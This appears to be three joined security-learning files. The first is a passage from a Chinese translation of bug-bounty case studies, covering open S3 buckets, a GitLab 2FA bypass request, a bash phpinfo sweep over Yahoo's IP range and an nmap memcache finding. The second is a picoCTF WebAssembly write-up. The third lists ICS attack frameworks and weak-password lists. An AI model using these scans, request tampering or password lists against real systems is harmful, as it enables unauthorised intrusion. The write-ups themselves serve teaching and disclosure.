的功能(Bucket 就像储存器的文件夹),读取和写入 Bucket ,以及其他。 根据披露,Shopify 没有合理配置它们的 S3 Bucket 权限,并且无意中允许任何认证过的 AWS 用户读取或写入它们的 Bucket。这显然是由问题的,因为你至少不希望恶意的黑帽子使用你的 S3 Bucket 来储存和托管文件。 不幸的是,这个问题的细节没有暴露,但是可能使用 AWS CLI 来发现,这是一个工具,允许你和 AWS 服务在你的共领航上交互。虽然你需要一个 AWS 账户来做这个事情,创建账户实际上也是免费的,因为你不需要任何服务。因此,使用 CLI 你就可以在 AWS 上认证你自己,并且随后测试是否可以访问(这也是我发现 HackerOne Bucket 的方式,它在下面列出)。 > 重要结论 > 当你侦查一个潜在的目标时,确保注意到所有不同的工具,包含 Web 服务,它们明显可以使用。每个服务或软件,OS,以及其他。你可以寻找或发现新的攻击向量。此外,使你自己熟悉流行的 Web 工具,例如 AWS S3,Zendesk,Rails,以及其他是个好主意。许多站点都使用它们。 ### 6\. HackerOne S3 Bucket 开放 难度:中 URL:`[REDACTED].s3.amazonaws.com ` 报告链接:`https://hackerone.com/reports/128088` 报告日期:2016.4.3 奖金:$2500 描述: 我们打算讲一些有些不同的东西。这是一个漏洞,我实际上发现了他,并且和上面描述的 Shopify 的问题有些不同,所以我打算详细分享关于我如何发现他的任何事情。 所以,一开始,上面描述的漏洞就是,一个 Bucket 公开链接到了 Shopify。意思是,当你访问这个想点时,你会看到 AWS 服务的调用,所以黑客就知道 Bucket 指向哪里。但是我并没有 -- 我使用了一个很酷的脚本和一些工具来发现了 Bucket。 在 4 月 3 日的周末,我不知道为什么,但是我决定跳出思维定式,并尝试攻击 HackerOne。我一开始就玩了玩它们的站点,并且每次新漏洞发现时,都迫使我自己阅读信息披露,想了解为什么我错过了它。我想知道他们的 S3 Bucket 是否存在类似 Shopify 的漏洞。我也想知道,黑客如何访问了 Shopify 的 Bucket。我了解到它是通过 Amazon 命令行工具来访问的。 现在,通常我会使自己停下,因为 HackerOne 这个时候不可能还拥有漏洞。但是我突然有一个想法,它来源于我和 Ben Sadeghipour (@Nahamsec) 的访谈,就是不要怀疑自己,或者公司犯错的可能。 所以我在 Google 上搜索一些细节,并碰到了两个有意思的页面: [There’s a Hole in 1,951 Amazon S3 Buckets](https://community.rapid7.com/community/infosec/blog/2013/03/27/1951-open-s3-buckets) [S3 Bucket Finder](https://digi.ninja/projects/bucket_finder.php) 第一个是个有趣的文章,来自 Rapid7,它是个安全公司,这篇文章关于如何发现公开可写的 S3 Bucket ,并通过模糊测试,或者猜测 Bucket 名称来实现。 第二个是个很酷的工具,它接受一个单词列表,并调用 S3 来寻找 Bucket。但是,它没有自带列表。在 Rapid7 的文章中有一行关键字,“通过一个不同的列表来猜测名称,列表包含 1000 强公司的名称,以 .com, -backup, -media 排列。” 这就很有意思了。我很快为 HackerOne 创建了一列 Bucket 可能名称,像这样: ``` hackerone, hackerone.marketing, hackerone.attachments, hackerone.users, hackerone.files ``` 这些都不是真正的 Bucket。它们来自于报告。所以我觉得我肯定能够发现它。我将其留作一个挑战。 现在,使用 Ruby 脚本,我开始调用那些 Bucket。事情刚开始并不是那么好,我发现了几个 Bucket 但是都拒绝访问。很不幸,所以我先离开,看看 NetFlix。 但是这个想法还在提醒着我,所以在我睡觉之前,我决定再次使用更多组合来执行脚本。我再次发现了大量的 Bucket,它们看起来是 HackerOne 的,但是所有都拒绝访问。我意识到,拒绝访问起码告诉我它们是存在的。 我打开了 Ruby 脚本,它在 Buckets调用了`ls`的等价函数。换句话说,我尝试观察它们是否公开可读的。我想知道它,以及它们是否公开可写的。 此外,现在 AWS 提供了命令行工具,aws-cli。我知道它,因为我之前用过,所以我在我的 VM 上快速执行`sudo apt-get aws-cli `,并准备好了。你可以在`docs.aws.amazon.com/cli/latest/userguide/installing.html`上找到这个东西的指南。 现在,命令`awss3help`会打开 S3 的帮助,并列出可用的命令。这些命令之一是`mv`,以` aws s3 mv [FILE] [s3://BUCKET]`的形式,所以我尝试: ``` touch test.txt aws s3 mv test.txt s3://hackerone.marketing ``` 这是第一个 Bucket,我从中收到了拒绝访问,并在调用`PutObject`操作时,我收到了`move failed: ./test.txt to s3://hackerone.marketing/test.txt A client error(Access Denied)`。 所以尝试下一个,`aws s3 mv test.txt s3://hackerone.files `,并且成功了。我收到了这个消息,`move: ./test.txt to s3://hackerone.files/test.txt`。 真是神奇!现在我尝试删除文件:`aws s3 rm s3://hackerone.files/test.txt`,同样成功了。 但是现在我还是怀疑自己。我快速登出了 HackerOne 来报告。并且在我键入时,我意识到我并没有实际确认 Bucket 的所有权。AWS 允许任何人在全局名字空间下创建任何 Bucket。意思是,你,或者读者都可能实际拥有我在测试的 Bucket。 我不确定是否应该不验证就报告。我搜索了 Google 来看看我是否可以找到任何 Bucket 的引用。我没有找到什么东西。我离开了电脑,来理清头绪。我意识到,最坏的事情就是我得到了另一个无效报告,以及贡献 -5。另一方面,我知道这至少值 $500,基于 Shopify 的漏洞也可能是 $1000。 我按下了提交,并去睡觉了。当我醒来的时候,HackerOne 回复了恭喜,并说它们已经修复了它和一些其他的存在漏洞的 Bucket。成功了!并且按照它们的条款,当他们授予奖励的时候,它们会考虑潜在的安全性,包括我没有发现但存在漏洞的其它 Bucket。 > 重要结论 > 有多个重要结论: > 1. 不要低估你的能力,以及开发者犯错的可能性。HackerOne 是个优秀的团队,拥有优秀的安全研究员。但是人们都会犯错。挑战你的假设吧。 > 2. 不要在首次尝试之后就放弃。当我发现它的时候,浏览器每个 Bucket 都不可用,并且我几乎离开了。但是之后我尝试写入文件,它成功了。 > 3. 所有的东西都在于只是。如果你知道存在了哪种漏洞,你就知道了要寻找以及测试什么。读这本书就是一个良好的开始。 > 4. 我之前说过,又再说一遍,一个攻击面要好于站点,它也是公司所使用的的服务。要跳出思维定式。 ### 7\. 绕过 Gitlab 的双因素认证 难度:中 URL:无 报告链接:`https://hackerone.com/reports/128085` 报告日期:2016.4.3 奖金:无 描述: 4 月 3 日,Jobert Abma(HackerOne 的联合创始人)向 Gitlab 报告称,在双因素认证开启情况下,攻击者能够登录受害者的账户,而不需知道受害者的密码。 对于那些不熟悉的人,双因素认证是两个登录步骤,通常用户输入它们的用户名和面,之后站点会发送验证码,通常通过电子邮件或者 SMS,用户需要输入它来完成登录过程。 这里,Jobert 注意到,在这个过程中,一旦攻击者输入了用户名和密码,会发送一个 Token 来结束登录。在提交这个 Token 时,POST 调用为: ``` POST /users/sign_in HTTP/1.1 Host: 159.xxx.xxx.xxx ... ----------1881604860 Content-Disposition: form-data; name="user[otp_attempt]" 212421 ----------1881604860- ``` 如果攻击者拦截了它并向调用添加了用户名,例如: ``` POST /users/sign_in HTTP/1.1 Host: 159.xxx.xxx.xxx ... ----------1881604860 Content-Disposition: form-data; name="user[otp_attempt]" 212421 ----------1881604860 Content-Disposition: form-data; name="user[login]" john ----------1881604860- ``` 攻击者就能够登录进 John 的账户,如果`otp_attempt `对 John 可用。换句话说,在两步认证期间,如果攻击者添加了`user[login]`参数,它们就能修改被登录的账户。 现在,唯一的麻烦就是攻击者需要拥有有效的 OTP Token,用于受害者。但是这就是爆破登场的时候了。如果站点管理员没有实现速率限制,Jobert 就可以对服务器执行重复调用来猜测有效的 Token。攻击成功的可能性取决于向服务器发送请求的传输时间,以及 Token 有效时间的长度,但是无论如何,这里的漏洞都很明显。 > 重要结论 > 双因素验证是个机巧的系统,难以正确实现。当你注意到站点使用了它时,你需要完整测试所有功能,包括 Token 的生命周期,尝试的最大次数,复用过期的 Token,猜测 Token 的可能性,以及其他。 ### 8\. 雅虎 PHP 信息泄露 难度:中 URL:`http://nc10.n9323.mail.ne1.yahoo.com/phpinfo.php` 报告链接:`https://blog.it-securityguard.com/bugbounty-yahoo-phpinfo-php-disclosure-2/` 报告日期;2014.10.16 奖金:无 描述: 虽然它并没有巨额奖金,像是其他漏洞那样(实际上没有奖金,非常意外),但这是我最喜欢的报告之一,因为它教会了我网络扫描和自动化的重要性。 在 2014 年 10 月,Patrik Fehrenbach(你应该从“Hacking Pro Tips Interview#2”中了解了他,很棒的一个家伙)发现了雅虎的服务器中存在可访问的`phpinfo()`文件。如果你不熟悉`phpinfo()`,这是一个敏感的命令,它不应该在生产环境能够访问,以及公开访问,因为它泄露了所有类型的服务器信息。 现在,你可能想知道 Patrik 如何找到了`http://nc10.n9323.mail.ne1.yahoo.com`,我保证。结果它 PING 了`yahoo.com`,它返回了` 98.138.253.109`。之后它将其传给了 WHOIS,并发现雅虎实际上拥有下面这些东西: ``` NetRange: 98.136.0.0 - 98.139.255.255 CIDR: 98.136.0.0/14 OriginAS: NetName: A-YAHOO-US9 NetHandle: NET-98-136-0-0-1 Parent: NET-98-0-0-0-0 NetType: Direct Allocation RegDate: 2007-12-07 Updated: 2012-03-02 Ref: http://whois.arin.net/rest/net/NET-98-136-0-0-1 ``` 要注意第一行,雅虎拥有大量的 IP 地址,从` 98.136.0.0`到`98.139.255.255`,或者`98.136.0.0/14`,这是 260000 个独立 IP 地址。这是大量的潜在目标。 Patrik 之后写了个简单的 bash 脚本来寻找可用的`phpinfo`文件: ```sh #!/bin/bash for ipa in 98.13{6..9}.{0..255}.{0..255}; do wget -t 1 -T 5 http://${ipa}/phpinfo.php; done & ``` 执行了这个,他在随机的雅虎服务器上发现了它。 > 重要结论 > 在渗透的时候,考虑公司的整个设施,除非他们告诉你这超出范围了。虽然这个报告没有得到一分钱的奖金,我知道 Patrik 使用了相似的技巧来寻找一些重要的漏洞来获得奖金。 > 此外,你会注意到,这里有 260000 个潜在的地址,他们不可能手动扫描。在执行这一类型的测试时,自动化非常重要,并且是应该使用的东西。 ### 9\. HackerOne Hacktivity 投票 难度:中 URL:`https://hackerone.com/hacktivity` 报告链接:`https://hackerone.com/reports/137503` 报告日期:2016.5.10 奖金:Swag 描述: 虽然严格来说,这里没有真正的安全漏洞,这个报告是个跳出思维定式的良好示例。 2016 年 4 月到 5 月的一段时间,HackerOne 为黑客开发了一个新功能,来通过 Hacktivity 列表给报告投票。要知道功能是否可用,有个简单的办法,也有个难的办法。通过简单的办法,登录时`/current_user`的 GET 调用会包含`hacktivity_voting_enabled:false`。难的办法有些有趣,其中存在漏洞,并且这就是我包含这篇报告的原因。 如果你访问了 hacktivity 并且查看了页面源码,你会注意到非常稀疏,只是一些`div`,没有真正的内容。 ![](img/9-9-1.jpg) HackerOne Hacktivity 页面源码 现在,如果你不喜欢他们的平台,并且没有安装类似于 wappalyzer 的插件,仅仅看这个页面源码也会告诉你,内容由 JavaScript 渲染。 所以,知道了之后,如果你打开 Chrome 或 Firefox 的开发者工具,你可以检查 JavaScript 源码(在 Chrome 中,你需要访问`source`,左边是` top>hackerone.com->assets->frontend-XXX.js`)。Chrome 的开发者工具自带了花括号美化打印的按钮,这会使最小化的 JavaScript 刻度。你也可以使用 Burp 来查看返回这个 JavaScript 文件的响应。 原因是这样,如果你在 JavaScript 中搜索 POST,你会发现一些 HackerOne 所使用的 路径,它们可能不是那么明显,取决于你的权限,以及内容里有什么东西。其中之一是: ![](img/9-9-2.jpg) HackerOne 应用的 JavaScript POST 投票 你可以看到,我们有两个用于投票功能的路径。在写这个报告的时候,你实际可以执行这些调用,并给报告投票。 现在,这是发现功能的一种方式 -- 在报告中,黑客使用了另一种,通过拦截 HackerOne 的响应(大概是使用类似 Burp 的工具)。它们将返回为假的属性切换为真。这之后暴露了投票元素,在点击时,执行了可用的 POST 或者 DELETE 调用。 我想你展示 JavaScript 的原因时,和 JSON 响应交互可能不会总是暴露新的 HTML 元素。因此,浏览 JavaScript 可能暴露其它“隐藏的”终端来交互。 > 重要结论 > JavaScript 源代码想你提供了来自目标的实际源代码,你可以浏览它们。这非常棒,因为你的测试从完全黑盒,对后端没有任何想法,变成了白盒(虽然也不完全是),其中可以观察代码如何执行。这不意味你需要走查每一行代码,这里的 POST 调用在 20570 行发现,只使用了一个简单的 POST 搜索。 ## 10\. Pronhub Mamcache 未授权访问 难度:中 URL:`stage.pornhub.com ` 报告链接:`https://hackerone.com/reports/119871` 报告日期:2016.3.1 奖金:$2500 描述: 在它们公开启动之前,Pornhub 在 HackerOne 上开启了一个私有漏洞奖励计划,`*.pornhub.com`域,带有丰富的奖金,这对于多数黑客来说意思是所有 Pronhub 的子域都是一样的。现在的问题是发现他们。 在他的博文中,Andy Gill(@ZephrFish)解释了为什么这个非常好,它使用超过一百万潜在名称的列表,通过测试不同子域名称是否存在,发现了越 90 个可能的漏洞目标。 现在,如果访问所有这些站点来观察什么是可用的,这会花费大量时间,所以它使用 Eyewitness 工具自动化了这个流程(在工具一章中包含),它从有效 HTTP/HTTPS 页面中截了一些截图,并提供了一个不错的报告,其中站点监听 80、443、8080 和 8443 端口(常见 HTTP 和 HTTPS 端口)。 根据他的 WriteUp,Andy 稍微切换了一些另见,并使用 Nmap 工具来深入挖掘` stage.pornhub.com`子域。当我问他原因时,它解释道,以他的经验,`stage`和开发服务器比起生产服务器更可能拥有错误配置的安全权限。所以,一开始,它使用了`nslookup`命令,得到了子域的 IP。 ``` nslookup stage.pornhub.com Server: 8.8.8.8 Address: 8.8.8.8#53 Non-authoritative answer: Name: stage.pornhub.com Address: 31.192.117.70 ``` 我也看到,这个可以通过命令`ping`来完成,但是无论哪种方法,它现在拥有了子域的 IP 地址,并使用命令`sudo namp -sSV -p- 31.192.117.70 -oA stage__ph -T4 &`,它得到了: ``` Starting Nmap 6.47 ( http://nmap.org ) at 2016-06-07 14:09 CEST Nmap scan report for 31.192.117.70 Host is up (0.017s latency). Not shown: 65532 closed ports PORT STATE SERVICE VERSION 80/tcp open http nginx 443/tcp open http nginx 60893/tcp open memcache Service detection performed.Please report any incorrect results at http://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 22.73 seconds ``` 将命令拆解一下: + 标志`-sSV`定义了发送给服务器的封包类型,告诉 Nmap 尝试和判断任何开放端口上的服务。 + `-p-`告诉服务器要检查所有 65535 个端口(默认只会检查常用的 1000 个端口)。 + `31.192.117.70`是要扫描的 IP。 + `-oA stage__ph`告诉 Nmap 一次以三种主要格式输出它的发现,使用文件名称`stage__ph`。 + `-T4`定义了任务的时间(选项为 0 ~ 5,数字越大就越快)。 对于结果来说,要注意的关键就是端口 60893 是打开的,而且 Nmap 认为它运行 Memcache。对于那些不熟悉的人,Memcache 是一个缓存服务,它使用键值对来储存任意数据。它通常通过更快地服务内容,用于提升网站的速度。类似的服务的 Redis。 发现这本身不是个漏洞,但是是个危险信号(虽然安装指南推荐使其不可能公开访问,作为一个安全措施)。测试之后,意外的是 Pornhub 并没有开启任何安全手段。Andy 能够通过 netcat 连接服务,不需要用户名和密码。连接之后,它执行命令来获取版本,状态,以及其他,为了确认这个和漏洞。 但是,恶意攻击者可以将其用于: + 造成拒绝服务,通过持续写入和删除缓存,因此使服务器保持繁忙(取决于站点的配置)。 + 通过用垃圾缓存数据填充服务,造成 DOS,同样取决于站点配置。 + 执行跨站脚本攻击,通过注入恶意 JS 载荷作为有效的缓存数据,来提供给用户。 + 可能的话,执行 SQL 注入,如果 memcache 数据在数据库中存储的话。 > 总要结论 > 子域和更宽泛的网络配置代表了用于渗透的极大潜能。如果你注意到程序在域中包含` *.SITE.com`,尝试找到可能存在漏洞的子域,而不要去追求主站上的低悬的果实,因为人人都能搜索到它们。你也的值花费时间来使你自己熟悉一些工具,例如 Nmap、Eyewitness、KnockPy,以及其他。这有助于你获得 Andy 的视角。 ## 总结 应用逻辑漏洞不一定总是涉及代码。反之,利用它们通产更需要敏锐的观察力,以及跳出思维定式。始终留意其它站点可能使用的工具和服务,因为它们代表了新的攻击向量。这包括站点所使用的来渲染内容的 JavaScript 库。 发现它们或多或少都需要代理拦截器,在将其发送到你所利用的站点之前,它能让你玩转一些值。尝试修改任何值,只要它们和识别你的账户相关。这可能包含建立两个不同的账户,以便你有两套有效的凭据,这可能有帮助。同时寻找隐藏或不常用的终端,它可以用于利用无意中访问的功能。 任何时候一些类型的事务发生时,你也应该留意。始终有一些机会,其中开发者没有在数据库级别处理竞态条件(特别是 NoSQL)。也就是说,它们的代码可能会阻止你,但是如果你让代码执行够快,比如几乎同时完成,你就能发现静态条件。确保你多次测试了这个领域内的任何东西,因为每次尝试不一定都发生,就像星巴克的案例那样。 最后,要留意新的功能 -- 它通常为测试展示了新的区域。并且如果可能的话,自动化你的测试来更好利用你的时间。
sec-knowleage
# Some Assembly Required 3 Category: Web, 160 points ## Solution This is the follow-up for [Some Assembly Required 2](Some_Assembly_Required_2.md). We'll skip the stuff that we've covered in the previous challenge and in [Some Assembly Required 1](Some_Assembly_Required_1.md) and jump right to the WebAssembly. Translating the `wasm` file to `wat`: ```console ┌──(user@kali)-[/media/sf_CTFs/pico/Some_Assembly_Required_3] └─$ ~/utils/web/wabt/build/wasm2wat --generate-names script.wasm > script.wat ``` Result: ```wat (module (type $t0 (func)) (type $t1 (func (param i32 i32) (result i32))) (type $t2 (func (result i32))) (type $t3 (func (param i32 i32))) (func $__wasm_call_ctors (type $t0)) (func $strcmp (type $t1) (param $p0 i32) (param $p1 i32) (result i32) (local $l2 i32) (local $l3 i32) (local $l4 i32) (local $l5 i32) (local $l6 i32) (local $l7 i32) (local $l8 i32) (local $l9 i32) (local $l10 i32) (local $l11 i32) (local $l12 i32) (local $l13 i32) (local $l14 i32) (local $l15 i32) (local $l16 i32) (local $l17 i32) (local $l18 i32) (local $l19 i32) (local $l20 i32) (local $l21 i32) (local $l22 i32) (local $l23 i32) (local $l24 i32) (local $l25 i32) (local $l26 i32) (local $l27 i32) (local $l28 i32) (local $l29 i32) (local $l30 i32) (local $l31 i32) (local $l32 i32) (local $l33 i32) (local $l34 i32) (local $l35 i32) (local $l36 i32) (local $l37 i32) (local $l38 i32) (local $l39 i32) (local $l40 i32) (local $l41 i32) (local $l42 i32) (local $l43 i32) global.get $g0 local.set $l2 i32.const 32 local.set $l3 local.get $l2 local.get $l3 i32.sub local.set $l4 local.get $l4 local.get $p0 i32.store offset=24 local.get $l4 local.get $p1 i32.store offset=20 local.get $l4 i32.load offset=24 local.set $l5 local.get $l4 local.get $l5 i32.store offset=16 local.get $l4 i32.load offset=20 local.set $l6 local.get $l4 local.get $l6 i32.store offset=12 block $B0 loop $L1 local.get $l4 i32.load offset=16 local.set $l7 i32.const 1 local.set $l8 local.get $l7 local.get $l8 i32.add local.set $l9 local.get $l4 local.get $l9 i32.store offset=16 local.get $l7 i32.load8_u local.set $l10 local.get $l4 local.get $l10 i32.store8 offset=11 local.get $l4 i32.load offset=12 local.set $l11 i32.const 1 local.set $l12 local.get $l11 local.get $l12 i32.add local.set $l13 local.get $l4 local.get $l13 i32.store offset=12 local.get $l11 i32.load8_u local.set $l14 local.get $l4 local.get $l14 i32.store8 offset=10 local.get $l4 i32.load8_u offset=11 local.set $l15 i32.const 255 local.set $l16 local.get $l15 local.get $l16 i32.and local.set $l17 block $B2 local.get $l17 br_if $B2 local.get $l4 i32.load8_u offset=11 local.set $l18 i32.const 255 local.set $l19 local.get $l18 local.get $l19 i32.and local.set $l20 local.get $l4 i32.load8_u offset=10 local.set $l21 i32.const 255 local.set $l22 local.get $l21 local.get $l22 i32.and local.set $l23 local.get $l20 local.get $l23 i32.sub local.set $l24 local.get $l4 local.get $l24 i32.store offset=28 br $B0 end local.get $l4 i32.load8_u offset=11 local.set $l25 i32.const 255 local.set $l26 local.get $l25 local.get $l26 i32.and local.set $l27 local.get $l4 i32.load8_u offset=10 local.set $l28 i32.const 255 local.set $l29 local.get $l28 local.get $l29 i32.and local.set $l30 local.get $l27 local.set $l31 local.get $l30 local.set $l32 local.get $l31 local.get $l32 i32.eq local.set $l33 i32.const 1 local.set $l34 local.get $l33 local.get $l34 i32.and local.set $l35 local.get $l35 br_if $L1 end local.get $l4 i32.load8_u offset=11 local.set $l36 i32.const 255 local.set $l37 local.get $l36 local.get $l37 i32.and local.set $l38 local.get $l4 i32.load8_u offset=10 local.set $l39 i32.const 255 local.set $l40 local.get $l39 local.get $l40 i32.and local.set $l41 local.get $l38 local.get $l41 i32.sub local.set $l42 local.get $l4 local.get $l42 i32.store offset=28 end local.get $l4 i32.load offset=28 local.set $l43 local.get $l43 return) (func $check_flag (type $t2) (result i32) (local $l0 i32) (local $l1 i32) (local $l2 i32) (local $l3 i32) (local $l4 i32) (local $l5 i32) (local $l6 i32) (local $l7 i32) (local $l8 i32) (local $l9 i32) (local $l10 i32) i32.const 0 local.set $l0 i32.const 1072 local.set $l1 i32.const 1024 local.set $l2 local.get $l2 local.get $l1 call $strcmp local.set $l3 local.get $l3 local.set $l4 local.get $l0 local.set $l5 local.get $l4 local.get $l5 i32.ne local.set $l6 i32.const -1 local.set $l7 local.get $l6 local.get $l7 i32.xor local.set $l8 i32.const 1 local.set $l9 local.get $l8 local.get $l9 i32.and local.set $l10 local.get $l10 return) (func $copy_char (type $t3) (param $p0 i32) (param $p1 i32) (local $l2 i32) (local $l3 i32) (local $l4 i32) (local $l5 i32) (local $l6 i32) (local $l7 i32) (local $l8 i32) (local $l9 i32) (local $l10 i32) (local $l11 i32) (local $l12 i32) (local $l13 i32) (local $l14 i32) (local $l15 i32) (local $l16 i32) (local $l17 i32) (local $l18 i32) global.get $g0 local.set $l2 i32.const 16 local.set $l3 local.get $l2 local.get $l3 i32.sub local.set $l4 local.get $l4 local.get $p0 i32.store offset=12 local.get $l4 local.get $p1 i32.store offset=8 local.get $l4 i32.load offset=12 local.set $l5 block $B0 local.get $l5 i32.eqz br_if $B0 i32.const 4 local.set $l6 local.get $l4 i32.load offset=8 local.set $l7 i32.const 5 local.set $l8 local.get $l7 local.get $l8 i32.rem_s local.set $l9 local.get $l6 local.get $l9 i32.sub local.set $l10 local.get $l10 i32.load8_u offset=1067 local.set $l11 i32.const 24 local.set $l12 local.get $l11 local.get $l12 i32.shl local.set $l13 local.get $l13 local.get $l12 i32.shr_s local.set $l14 local.get $l4 i32.load offset=12 local.set $l15 local.get $l15 local.get $l14 i32.xor local.set $l16 local.get $l4 local.get $l16 i32.store offset=12 end local.get $l4 i32.load offset=12 local.set $l17 local.get $l4 i32.load offset=8 local.set $l18 local.get $l18 local.get $l17 i32.store8 offset=1072 return) (table $T0 1 1 funcref) (memory $memory 2) (global $g0 (mut i32) (i32.const 66864)) (global $input i32 (i32.const 1072)) (global $key i32 (i32.const 1067)) (global $__dso_handle i32 (i32.const 1024)) (global $__data_end i32 (i32.const 1328)) (global $__global_base i32 (i32.const 1024)) (global $__heap_base i32 (i32.const 66864)) (global $__memory_base i32 (i32.const 0)) (global $__table_base i32 (i32.const 1)) (export "memory" (memory 0)) (export "__wasm_call_ctors" (func $__wasm_call_ctors)) (export "strcmp" (func $strcmp)) (export "check_flag" (func $check_flag)) (export "input" (global 1)) (export "copy_char" (func $copy_char)) (export "key" (global 2)) (export "__dso_handle" (global 3)) (export "__data_end" (global 4)) (export "__global_base" (global 5)) (export "__heap_base" (global 6)) (export "__memory_base" (global 7)) (export "__table_base" (global 8)) (data $d0 (i32.const 1024) "\9dn\93\c8\b2\b9A\8b\9f\90\8cb\c5\c3\95\884\c8\93\92\88?\c1\92\c7\db?\c8\9e\c7\891\c6\c5\c9\8b6\c6\c6\c0\90\00\00") (data $d1 (i32.const 1067) "\f1\a7\f0\07\ed")) ``` Now to pseudo-code: ```console ┌──(user@kali)-[/media/sf_CTFs/pico/Some_Assembly_Required_3] └─$ ~/utils/web/wabt/build/wasm-decompile script.wasm -o script.dcmp ``` Result: ``` export memory memory(initial: 2, max: 0); global g_a:int = 66864; export global input:int = 1072; export global key:int = 1067; export global dso_handle:int = 1024; export global data_end:int = 1328; export global global_base:int = 1024; export global heap_base:int = 66864; export global memory_base:int = 0; export global table_base:int = 1; table T_a:funcref(min: 1, max: 1); data d_nAb416(offset: 1024) = "\9dn\93\c8\b2\b9A\8b\9f\90\8cb\c5\c3\95\884\c8\93\92\88?\c1\92\c7\db?\c8" "\9e\c7\891\c6\c5\c9\8b6\c6\c6\c0\90\00\00"; data d_b(offset: 1067) = "\f1\a7\f0\07\ed"; export function wasm_call_ctors() { } export function strcmp(a:int, b:int):int { var c:int = g_a; var d:int = 32; var e:int = c - d; e[6]:int = a; e[5]:int = b; var f:int = e[6]:int; e[4]:int = f; var g:int = e[5]:int; e[3]:int = g; loop L_b { var h:ubyte_ptr = e[4]:int; var i:int = 1; var j:int = h + i; e[4]:int = j; var k:int = h[0]; e[11]:byte = k; var l:ubyte_ptr = e[3]:int; var m:int = 1; var n:int = l + m; e[3]:int = n; var o:int = l[0]; e[10]:byte = o; var p:int = e[11]:ubyte; var q:int = 255; var r:int = p & q; if (r) goto B_c; var s:int = e[11]:ubyte; var t:int = 255; var u:int = s & t; var v:int = e[10]:ubyte; var w:int = 255; var x:int = v & w; var y:int = u - x; e[7]:int = y; goto B_a; label B_c: var z:int = e[11]:ubyte; var aa:int = 255; var ba:int = z & aa; var ca:int = e[10]:ubyte; var da:int = 255; var ea:int = ca & da; var fa:int = ba; var ga:int = ea; var ha:int = fa == ga; var ia:int = 1; var ja:int = ha & ia; if (ja) continue L_b; } var ka:int = e[11]:ubyte; var la:int = 255; var ma:int = ka & la; var na:int = e[10]:ubyte; var oa:int = 255; var pa:int = na & oa; var qa:int = ma - pa; e[7]:int = qa; label B_a: var ra:int = e[7]:int; return ra; } export function check_flag():int { var a:int = 0; var b:int = 1072; var c:int = 1024; var d:int = strcmp(c, b); var e:int = d; var f:int = a; var g:int = e != f; var h:int = -1; var i:int = g ^ h; var j:int = 1; var k:int = i & j; return k; } function copy(a:int, b:int) { var c:int = g_a; var d:int = 16; var e:int_ptr = c - d; e[3] = a; e[2] = b; var f:int = e[3]; if (eqz(f)) goto B_a; var g:int = 4; var h:int = e[2]; var i:int = 5; var j:int = h % i; var k:ubyte_ptr = g - j; var l:int = k[1067]; var m:int = 24; var n:int = l << m; var o:int = n >> m; var p:int = e[3]; var q:int = p ^ o; e[3] = q; label B_a: var r:int = e[3]; var s:byte_ptr = e[2]; s[1072] = r; } ``` We can see that `check_flag` stayed pretty much the same as last time, so we can assume that the magic happens in `copy`. If we diff it against the original implementation (which simply stored the provided flag characters in memory without any extra manipulation) we can see that this version includes some extra logic: ``` if (eqz(f)) goto B_a; var g:int = 4; var h:int = e[2]; var i:int = 5; var j:int = h % i; var k:ubyte_ptr = g - j; var l:int = k[1067]; var m:int = 24; var n:int = l << m; var o:int = n >> m; var p:int = e[3]; var q:int = p ^ o; e[3] = q; label B_a: var r:int = e[3]; ``` Notice that `e[2]` comes from `b` which is the index of the character, and `e[3]` comes from `a` which is a user input character. We can also see that this implementation is using an extra array defined at offset `1067+`: ``` data d_b(offset: 1067) = "\f1\a7\f0\07\ed"; ``` Translating this logic to Python, we get: ```python arr_1067 = [ 0xf1, 0xa7, 0xf0, 0x07, 0xed, ] def encode(char, index): assert(len(arr_1067) == 5) var_j = 4 - (index % len(arr_1067)) var_l = arr_1067[var_j] var_n = ctypes.c_int32(var_l << 24).value var_o = ctypes.c_int32(var_n >> 24).value var_q = ctypes.c_int32(ord(char) ^ var_o).value res = ctypes.c_uint8(var_q).value return res ``` Now we can add the array defined at `1024+` and brute force the flag: ```python arr_1024 = [ 0x9d, 0x6e, 0x93, 0xc8, 0xb2, 0xb9, 0x41, 0x8b, 0x9f, 0x90, 0x8c, 0x62, 0xc5, 0xc3, 0x95, 0x88, 0x34, 0xc8, 0x93, 0x92, 0x88, 0x3f, 0xc1, 0x92, 0xc7, 0xdb, 0x3f, 0xc8, 0x9e, 0xc7, 0x89, 0x31, 0xc6, 0xc5, 0xc9, 0x8b, 0x36, 0xc6, 0xc6, 0xc0, 0x90, 0x00, 0x00, ] for i in range(len(arr_1024)): for c in string.printable: if encode(c, i) == arr_1024[i]: print(c, end = "") print("") ``` Output: ```console ┌──(user@kali)-[/media/sf_CTFs/pico/Some_Assembly_Required_3] └─$ python3 solve.py picoCTF{8aae5dde384ce815668896d66b8f16a1} ```
sec-knowleage
### ICS_CTF 学习资源汇总 >EscortLab 收集整理了一系列相关关IoT资料,供大家学习 IoT产业资讯 https://www.iotdunia.com/iotdunia ### ICS_CTF利用框架 1. isf利用框架 https://github.com/dark-lbp/isf 2. isf利用框架 https://github.com/w3h/isf ### ICS_CTF整理ICS资源 1. icsmaster https://github.com/w3h/icsmaster 2. rapidscada https://github.com/RapidScada/scada ### ICS_CTF弱口令集合 1. 工控弱口令 https://github.com/scadastrangelove/SCADAPASS 2. TOP1万内系列弱口令 https://github.com/danielmiessler/SecLists/tree/master/Passwords
sec-knowleage